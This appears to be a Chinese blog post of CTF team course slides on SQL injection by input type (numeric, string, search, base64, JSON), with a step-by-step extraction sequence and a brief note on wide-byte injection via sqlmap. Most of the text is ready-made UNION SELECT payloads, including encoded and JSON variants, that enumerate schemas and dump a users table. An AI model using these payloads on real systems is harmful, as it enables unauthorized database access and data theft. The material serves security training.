河南省高校联盟战队课件4(sql-SQL数据类型注入(base64,json等))

											数据类型注入

个人介绍

id:故事 普通的web喵

详细视频

SQL数据类型注入(base64,json等)

一、通常注入类型:数字型 字符型 搜索型 加密型(base64 json)等
1)数字型 一般没有符号考虑 news?id=1

1/前台页面输入的参数是「数字」,比如下面这个根据ID查询用户的功能。
在这里插入图片描述

id=-1 UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
2)字符型 一般闭合单引号 ?gtpl=simple

前台页面输入的参数是「字符串」。
在这里插入图片描述
不加引号他会把他当成个变量而不是字符进行匹配

SELECT * FROM sy_guestbook WHERE  gLogo="tpl/guestbook/default/images/logo.jpg";

在这里插入图片描述字符可以使用单引号包裹,也可以使用双引号包裹,根据包裹字符串的「引号」不同,字符型注入可以分为:「单引号字符型」注入和「双引号字符型」注入,黑盒单引号,双引号都有尝试。

3)搜索型 一般闭合单引号加通配符%(例如:flag.*) ?search=喵

查询的过程有通倍符

search=aaa%' UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 and '%'='
4)编码型 注入payload需要进行编码后发送 ?base=MQ==
base=LTEgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzLDQsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3
1、解码后带入数据库进行SQ语句的执行。

2、在注入的时候,我们要尝试对payload进行编码提交。
5)表达型 json 符合格式进行注入即可

POST:json={“username”:“admin”} (键值对)
$sql="SELECT * FROM users WHERE username='{$username}'"; 也就是说我们只需要闭合单引号就可以了
注入语句:
json={“username”:“admin’ order by 3#”}
json={“username”:“-admin’ union select 1,2,3#”}

二、查询的一般步骤
1、查询数据库名:
gtpl=simple' UNION SELECT database(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+
2、查询当前数据库下的表名:
gtpl=-simple' UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'--+
3、查询当前数据库下的表下的列:
gtpl=-simple' UNION SELECT group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_schema='syguestbook' and table_name='users'--+
4、查询数据:
gtpl=-simple' UNION SELECT group_concat(userflag),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from users--+
三、宽字节注入

汉字站用两个字节使得 / 无法出现
宽字节用sqlmap注入 参数:–tamper unmagicquotes.py
https://www.cnblogs.com/bmjoker/p/9326258.html

###学习交流的可以加Q群:622816049

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

kui954

感谢各位的支持o(* ̄3 ̄)o

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值